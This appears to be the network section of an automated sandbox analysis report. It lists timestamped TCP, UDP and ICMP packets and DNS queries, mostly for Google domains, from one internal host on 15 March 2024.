Mar 15, 2024 13:59:28.976993084 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.025996923 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.026106119 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.026148081 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.026196957 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.026241064 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.026319981 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.026426077 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.026460886 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.026550055 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.026582003 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.064979076 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.065020084 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.065102100 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.065331936 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.065346003 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.168709993 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.169105053 CET	49832	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.169128895 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.169684887 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.169986010 CET	49832	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.170061111 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.170120955 CET	49832	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.216227055 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.254174948 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.254544020 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.254565954 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.255994081 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.256064892 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.257060051 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.257138014 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.257224083 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.257234097 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.289624929 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.290030003 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.290056944 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.291014910 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.291084051 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.291348934 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.291409016 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.291467905 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.291476011 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.305623055 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.329371929 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.329799891 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.329863071 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.331480026 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.331564903 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.332631111 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.332752943 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.332890034 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.332906961 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.336611032 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.337081909 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.337105989 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.337605953 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.338076115 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.338136911 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.339683056 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.339745045 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.339812994 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.339822054 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.383608103 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.383769989 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.427665949 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.427723885 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.427773952 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.427777052 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.427927971 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.428385019 CET	49833	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.428400040 CET	443	49833	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.515223980 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.515496969 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.515564919 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.516115904 CET	49834	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.516144991 CET	443	49834	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.516311884 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.516370058 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.516418934 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.517133951 CET	49836	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.517152071 CET	443	49836	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.520606041 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.520684004 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.520766020 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.521075964 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.521106958 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.610568047 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.610610008 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.610673904 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.611073017 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.611088991 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.791203022 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.791546106 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.791596889 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.792646885 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.792731047 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.793009043 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.793081045 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.793128967 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.836263895 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.846626043 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.846648932 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.880616903 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.880892992 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.880963087 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.882003069 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.882081032 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.882419109 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.882496119 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.882556915 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.882575989 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.894644976 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.902379990 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.902405024 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.902411938 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.902441978 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.902471066 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.902477026 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.902503014 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.902525902 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.902535915 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.902561903 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.902580976 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.903387070 CET	49835	443	192.168.2.17	13.107.213.40
Mar 15, 2024 13:59:29.903419018 CET	443	49835	13.107.213.40	192.168.2.17
Mar 15, 2024 13:59:29.905786037 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.905819893 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.905900955 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.906152964 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.906166077 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:29.926629066 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:29.968595028 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.968633890 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.968679905 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.968708038 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.968741894 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.969384909 CET	49838	443	192.168.2.17	152.199.4.44
Mar 15, 2024 13:59:29.969430923 CET	443	49838	152.199.4.44	192.168.2.17
Mar 15, 2024 13:59:29.992986917 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.993624926 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:29.993784904 CET	49832	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.994265079 CET	49832	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:29.994290113 CET	443	49832	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.021315098 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.021380901 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.021485090 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.021677017 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.021689892 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.063400030 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.063800097 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.063853979 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.064152956 CET	49839	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.064162970 CET	443	49839	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.177299023 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.177572966 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.177592993 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.177941084 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.178232908 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.178297997 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.178368092 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.220233917 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.251441002 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.252193928 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.252230883 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.252609015 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.253175020 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.253240108 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.253312111 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.296277046 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.461581945 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:30.461677074 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:30.461728096 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:30.471674919 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.471854925 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.471920967 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.472358942 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.472414017 CET	443	49841	162.241.71.126	192.168.2.17
Mar 15, 2024 13:59:30.472453117 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.472472906 CET	49841	443	192.168.2.17	162.241.71.126
Mar 15, 2024 13:59:30.533160925 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.533184052 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.533224106 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.533277035 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.533350945 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.533390045 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.533413887 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.534074068 CET	49840	443	192.168.2.17	13.107.246.40
Mar 15, 2024 13:59:30.534104109 CET	443	49840	13.107.246.40	192.168.2.17
Mar 15, 2024 13:59:30.536731005 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:30.536761999 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:30.631373882 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:30.631472111 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:30.631643057 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:31.998228073 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:31.998296022 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:38.629498959 CET	49842	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:59:38.629590034 CET	443	49842	142.250.65.164	192.168.2.17
Mar 15, 2024 13:59:38.629712105 CET	49842	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:59:38.629935980 CET	49842	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:59:38.629970074 CET	443	49842	142.250.65.164	192.168.2.17
Mar 15, 2024 13:59:38.827424049 CET	443	49842	142.250.65.164	192.168.2.17
Mar 15, 2024 13:59:38.827843904 CET	49842	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:59:38.827894926 CET	443	49842	142.250.65.164	192.168.2.17
Mar 15, 2024 13:59:38.828211069 CET	443	49842	142.250.65.164	192.168.2.17
Mar 15, 2024 13:59:38.828656912 CET	49842	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:59:38.828735113 CET	443	49842	142.250.65.164	192.168.2.17
Mar 15, 2024 13:59:38.868658066 CET	49842	443	192.168.2.17	142.250.65.164

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2024 13:57:33.693259954 CET	53924	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:57:33.693484068 CET	50343	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:57:33.773216009 CET	53	53243	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:33.781900883 CET	53	53924	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:33.783601999 CET	53	58599	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:33.793128014 CET	53	50343	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:34.539964914 CET	53	52508	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:34.609128952 CET	59211	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:57:34.609366894 CET	52184	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:57:34.698062897 CET	53	59211	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:34.699182987 CET	53	52184	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:35.597917080 CET	53	51357	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:37.005456924 CET	53	61510	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:38.223726034 CET	53	60739	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:38.702841043 CET	53	51738	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:39.173408985 CET	51333	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:57:39.173408985 CET	56234	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:57:39.262828112 CET	53	51333	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:39.263159990 CET	53	56234	1.1.1.1	192.168.2.17
Mar 15, 2024 13:57:51.494827032 CET	53	51151	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:10.210578918 CET	53	60061	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:32.994108915 CET	53	52417	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:33.737323999 CET	53	64804	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:38.586492062 CET	60020	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:38.586704969 CET	60656	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:38.674726009 CET	53	60020	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:38.682780981 CET	53	60656	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:39.844808102 CET	57353	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:39.844990969 CET	49652	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:39.933489084 CET	53	57353	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:39.940593958 CET	53	49652	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:40.409652948 CET	59291	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:40.410037994 CET	63562	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:40.590837002 CET	53	63562	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:40.600891113 CET	53	59291	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:41.720015049 CET	64822	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:41.720186949 CET	55716	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:58:41.863768101 CET	53	55716	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:41.885437012 CET	53	64822	1.1.1.1	192.168.2.17
Mar 15, 2024 13:58:48.472487926 CET	138	138	192.168.2.17	192.168.2.255
Mar 15, 2024 13:59:02.387231112 CET	53	55274	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:07.379442930 CET	51623	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.379442930 CET	50444	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.381078959 CET	54847	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.381078959 CET	53603	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.863765955 CET	59844	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.864144087 CET	62396	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.865087032 CET	52670	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.865622997 CET	49509	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:07.952013969 CET	53	59844	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:07.952464104 CET	53	62396	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:08.138654947 CET	53	52670	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:08.247670889 CET	53	49509	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:08.401133060 CET	56987	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:08.401370049 CET	49677	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:08.401691914 CET	50814	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:08.401839972 CET	56194	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:08.453975916 CET	53	62840	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:08.489281893 CET	53	56987	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:08.490586042 CET	53	50814	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:08.496690989 CET	53	49677	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:08.497888088 CET	53	56194	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:09.320148945 CET	49639	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:09.320432901 CET	53864	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:09.407867908 CET	53	53864	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:09.407994986 CET	53	49639	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:09.508766890 CET	53	56479	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:09.925879002 CET	53	57976	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:10.945684910 CET	53	55813	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:20.750245094 CET	58312	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:20.750654936 CET	51864	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:21.092392921 CET	53	51864	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:21.105875015 CET	53	58312	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.421966076 CET	60372	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.422493935 CET	53902	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.424391031 CET	57574	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.424537897 CET	53747	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.425853968 CET	55422	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.426063061 CET	63621	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.426341057 CET	62507	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.426476955 CET	63181	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.426727057 CET	53939	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.426861048 CET	61399	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:23.512856960 CET	53	60372	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.514004946 CET	53	53902	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.514018059 CET	53	52760	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.514029026 CET	53	64673	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.515490055 CET	53	55422	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.515691996 CET	53	63621	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.515898943 CET	53	63181	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.516238928 CET	53	62507	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:23.583451033 CET	53	61399	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:24.204418898 CET	53	60841	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:24.440088034 CET	54973	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:25.157095909 CET	53	53939	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:26.167562008 CET	53	54973	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:27.368637085 CET	56216	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:27.368937016 CET	53670	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:27.513139963 CET	53	56216	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:27.519016027 CET	53	53670	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:28.869661093 CET	50299	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:28.869836092 CET	60116	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:28.887443066 CET	65509	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:28.887607098 CET	57743	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:28.974890947 CET	53	65509	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:28.976233959 CET	53	57743	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:28.985934973 CET	53	60116	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:29.064476967 CET	53	50299	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:29.079487085 CET	53	57653	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:29.431022882 CET	57218	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:29.431288004 CET	61570	53	192.168.2.17	1.1.1.1
Mar 15, 2024 13:59:29.519222021 CET	53	57218	1.1.1.1	192.168.2.17
Mar 15, 2024 13:59:29.519710064 CET	53	61570	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 15, 2024 13:59:08.247836113 CET	192.168.2.17	1.1.1.1	c248	(Port unreachable)	Destination Unreachable
Mar 15, 2024 13:59:26.167649031 CET	192.168.2.17	1.1.1.1	c24d	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 15, 2024 13:57:33.693259954 CET	192.168.2.17	1.1.1.1	0x2441	Standard query (0)	google.co.za	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:57:33.693484068 CET	192.168.2.17	1.1.1.1	0xc514	Standard query (0)	google.co.za	65	IN (0x0001)	false
Mar 15, 2024 13:57:34.609128952 CET	192.168.2.17	1.1.1.1	0x2100	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:57:34.609366894 CET	192.168.2.17	1.1.1.1	0x607e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 15, 2024 13:57:39.173408985 CET	192.168.2.17	1.1.1.1	0xf5e3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:57:39.173408985 CET	192.168.2.17	1.1.1.1	0x5f67	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 15, 2024 13:58:38.586492062 CET	192.168.2.17	1.1.1.1	0xc25	Standard query (0)	google.co.za	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:58:38.586704969 CET	192.168.2.17	1.1.1.1	0xbcb6	Standard query (0)	google.co.za	65	IN (0x0001)	false
Mar 15, 2024 13:58:39.844808102 CET	192.168.2.17	1.1.1.1	0xba54	Standard query (0)	www.google.co.za	A (IP address)	IN (0x0001)	false
